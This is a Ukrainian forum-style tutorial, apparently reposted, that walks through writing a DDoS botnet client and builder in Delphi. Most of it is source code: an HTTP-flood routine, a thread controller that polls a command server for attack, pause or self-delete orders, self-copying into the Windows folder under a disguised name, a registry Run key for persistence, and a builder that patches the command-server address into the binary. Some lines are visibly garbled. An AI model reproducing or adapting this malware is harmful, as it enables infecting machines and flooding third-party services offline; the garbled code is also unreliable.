Пишемо ботнет + білдер

88
Відразу кажу статейка не моя!!!!

Головне для бота це розмір. Щоб зменшити розмір нам потрібно звести до мінімуму кількість використовуваних модулів. Тому визначимося з функціоналом ботнету: в якості методу атаки ми будемо використовувати http-flood, який реалізуємо на wininet, також використовуючи його для отримання команд з сервера. Многопочность і всі інші функції ми реалізуємо на winapi.
Відповідно:

uses wininet, windows;

Щоб не ускладнювати код кількість потоків ми зробимо фіксованим, так само як і час очікування при отриманні відповіді від сервера. Від сервера ми будемо отримувати команди до дії (атака/очікування/смерть) і адресу сторінки для атаки.

Для початку візьмемо готову функцію відправки GET запиту і отримання відповіді: (оптимізована під Delphi 2010/11)

function DelHttp(url: String): String; // парсинг адреси
begin
if Pos(‘http://’, url) > 0 then
Delete(url, 1, 7);
result := Copy(url, 1, Pos(‘/’, url) — 1);
if result = » then
result := url + #0;
end;

function GetUrl(const url: String): String; // отримання коду сторінки
var
FSession, FConnect, FRequest: HINTERNET;
FHost, FScript, SRequest: String;
Ansi: PAnsiChar;
Buff: array ***91;0 .. 1023***93; of ansiChar;
BytesRead: Cardinal;
Res, Len: DWORD;
begin
result := «;
FHost := DelHttp(url);
FScript := url;
Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));
FSession := InternetOpen(‘DMFR’, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if not Assigned(FSession) then
Exit;
try
FConnect := InternetConnect(FSession, PChar(FHost), HTTP_PORT, nil,
‘HTTP/1.0’, INTERNET_SERVICE_HTTP, 0, 0);
if not Assigned(FConnect) then
Exit;
try
Ansi := ‘text/*’;
FRequest := HttpOpenRequest(FConnect, ‘GET’, PChar(FScript), ‘HTTP/1.1’,
nil, @Ansi, INTERNET_FLAG_RELOAD, 0);
if not Assigned(FConnect) then
Exit;
try
if not(HttpAddRequestHeaders(FRequest, Header, Length(Header),
HTTP_ADDREQ_FLAG_REPLACE or or HTTP_ADDREQ_FLAG_ADD
HTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA)) then
Exit;
Len := 0;
Res := 0;
SRequest := ‘ ‘;
HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
if Len > 0 then
begin
SetLength(SRequest, Len);
HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
end;
if not(HttpSendRequest(FRequest, nil, 0, nil, 0)) then
Exit;
FillChar(Buff, SizeOf(Buff), 0);
repeat
result := result + Buff;
FillChar(Buff, SizeOf(Buff), 0);
InternetReadFile(FRequest, @Buff, SizeOf(Buff), BytesRead);
until BytesRead = 0;
finally
InternetCloseHandle(FRequest);
end;
finally
InternetCloseHandle(FConnect);
end;
finally
InternetCloseHandle(FSession);
end;
end;

Частина змінних я вивів у константи:

const
HTTP_PORT = 80;
CRLF = #13#10;
Header = ‘Content-Type: application/x-www-form-urlencoded’ + CRLF;

Її ми будемо використовувати для отримання команд від сервера.
Тепер трохи оптимізуємо її для хттп-флуда:

procedure dosattack(const url: String); // хттп флуд
var
FSession, FConnect, FRequest: HINTERNET;
FHost, FScript, SRequest: String;
Ansi: PAnsiChar;
Res, Len: DWORD;
begin
FHost := DelHttp(url);
FScript := url;
Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));
FSession := InternetOpen(‘DMFR’, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if not Assigned(FSession) then
Exit;
try
FConnect := InternetConnect(FSession, PChar(FHost), HTTP_PORT, nil,
‘HTTP/1.0’, INTERNET_SERVICE_HTTP, 0, 0);
if not Assigned(FConnect) then
Exit;
try
Ansi := ‘text/*’;
FRequest := HttpOpenRequest(FConnect, ‘GET’, PChar(FScript), ‘HTTP/1.1’,
nil, @Ansi, INTERNET_FLAG_RELOAD, 0);
if not Assigned(FConnect) then
Exit;
try
if not(HttpAddRequestHeaders(FRequest, Header, Length(Header),
HTTP_ADDREQ_FLAG_REPLACE or or HTTP_ADDREQ_FLAG_ADD
HTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA)) then
Exit;
Len := 0;
Res := 0;
SRequest := ‘ ‘;
HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
if Len > 0 then
begin
SetLength(SRequest, Len);
HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
end;
HttpSendRequest(FRequest, nil, 0, nil, 0);
finally
InternetCloseHandle(FRequest);
end;
finally
InternetCloseHandle(FConnect);
end;
finally
InternetCloseHandle(FSession);
end;
end;

Також константи виведемо ще деякі змінні:

settingsurl = ‘http://www.xxx.com/set.html’; // сторінка отримання налаштувань
waittime = 10000; // час очікування
threadscount = 10; // кількість потоків
newname = ‘sysutils.exe’; // ім’я бота

В var запишемо наступне:

var
a: array ***91;0 .. threadscount***93; of longword; // масив потоків
id: longword; //службові змінні
stop, e: boolean;
ddosurl, exename: string; // адреса атаки, нехай до файлу
i: integer;

Нижче представлена процедура потоку для доса:

procedure dosthread; // ддос потік
begin
while stop = false do // початкова очікування
sleep(100);
try
while 1 > 0 do
begin
if e then // вихід
endthread(0);
dosattack(ddosurl); // хттп флуд
end;
finally
endthread(0); // вихід
end;
end;

Команди від сервера ми будемо отримувати наступним чином:

procedure getcommand; // отримання команд від сервера
var
p, t1, t2: string;
i: integer;
begin
try
while 1 > 0 do
begin
try
p := «; // код сторінки
t1 := «; // режим
t2 := «; // адреса атаки
p := GetUrl(settingsurl); // отримуємо код сторінки
for i := 1 to Pos(‘|’, p) — 1 do
t1 := t1 + p***91;i***93;;
for i := Pos(‘|’, p) + 1 to Length(p) do
t2 := t2 + p***91;i***93;;
ddosurl := t2; // змінюємо сторінку атаки
if t1 = ‘1’ then // наводимо потоки в дію
begin
for i := 1 to do threadscount
ResumeThread(a***91;i***93;);
end
else if t1 = ‘0’ then // заморожуємо потоки
begin
for i := 1 to do threadscount
SuspendThread(a***91;i***93;);
end
else if t1 = ‘-1’ then // вбиваємо потоки
begin
e := true;
for i := 1 to do threadscount
SuspendThread(a***91;i***93;);
deletefile(PChar(exename));
halt(0); // вихід з програми
end;
sleep(waittime); // очікування…
except
end;
end;
finally
endthread(0);
end;
end;

Код основної програми пропишемо запуск потоків:

try
e := false;
stop := false;
a***91;0***93; := beginthread(nil, 0, Addr(getcommand), nil, 0, id);
// створюємо потік для отримання даних
SetThreadPriority(a***91;0***93;, THREAD_PRIORITY_HIGHEST); // високий пріоритет
for i := 1 to threadscount do // запускаємо потоки
a***91;i***93; := beginthread(nil, 0, Addr(dosthread), nil, 0, id);
for i := 1 to threadscount do // заморожуємо потоки
SuspendThread(a***91;i***93;);
stop := true; // забираємо початкове очікування
finally
while 1 > 0 do // працюємо
sleep(100);
end;

Тепер наш бот треба перетворити в якусь подобу вірусу. Нам потрібні наступні функції:

function GetWindowsDir: String; // отримання системній директорії
var
name: array ***91;0 .. 255***93; of Char;
begin
GetWindowsDirectory(Name, SizeOf(Name));
result := name;
end;

Procedure regbot; // запис в автозавантаження
var
Key: hkey;
SystemPath: array ***91;0 .. MAX_PATH***93; of Char;
begin
GetSystemDirectory(SystemPath, MAX_PATH);
if RegOpenKeyEx HKEY_LOCAL_MACHINE,’SOFTWAREMicrosoftWindowsCurrentVersionrun’, 0, KEY_CREATE_SUB_KEY or
KEY_SET_VALUE, Key) = ERROR_SUCCESS then
begin
RegSetValueEx(Key, ‘SysUtils’, 0, REG_SZ, PChar(exename),
lstrlen(PChar(exename)) + Length(exename));
RegCloseKey(Key);
end;
end;

Запуск яких потрібно вставити в самому початку основного коду:

try
exename := GetWindowsDir + » + newname;
CopyFile(PChar(ParamStr(0)), PChar(exename), true);
// самокопірованія в системну папку
regbot; // з-за цього визначається як троян (запис в автозавантаження)
except
end;

Розмір після компіляції: 34 КБ Після стиснення ASPack’ом будемо близько 18 КБ.

Додаток. Пишемо білдер.
Патчити ми будемо адресу сторінки з налаштуваннями. Для початку заповнимо змінну settingsurl рівне сотнею нулів (або ще чемнібудь)
Скомпилим і відкриємо наш bot.exe у WinHex. Знайдемо там ці нулі:

Пишемо ботнет + білдер

Початковий адресу дорівнює 4860 (на скріні він трохи не такий файл бо іншого) А кінцевий 48C8. До всього цього між кожним символом стоїть порожній біт.
Ось код нашої білдера:

program builder;

{$APPTYPE CONSOLE}

uses
sysutils, windows;
const
filename = ‘bot.exe’;
sourcename = ‘source.exe’;
var
page: ansistring;
f: thandle;
c: byte;
BytesRead: DWORD;
i, p, j: integer;
begin
writeln(‘Enter Page with settings (max 100 symbols)’);
readln(page);
copyfile(pchar(sourcename), pchar(filename), true);
if not fileexists(filename) then
begin
writeln(‘bot.exe not found’);
readln;
halt(0);
end;
f := fileopen(filename, fmOpenReadWrite);
// 4860-48C8
for i := 1 to 100 — length(page) do
page := page + ‘ ‘;
for i := 0 to do 99
begin
p := $4860;
for j := 1 to i do
p := p + $2;
c := ord(char(pchar(page***91;i+1***93;)));
SetFilePointer(f, p, nil, 0);
WriteFile(f, c, SizeOf(c), BytesRead, nil);
end;
FileClose(f);
writeln(‘bot.exe success patch!’);
readln;
end.

де source.exe — ім’я нашого вихідного файлу
а bot.exe — вихідний файл.

P. S Весь наведений вище код є повністю робочим.
Автор не несе відповідальності за протизаконне використання статті.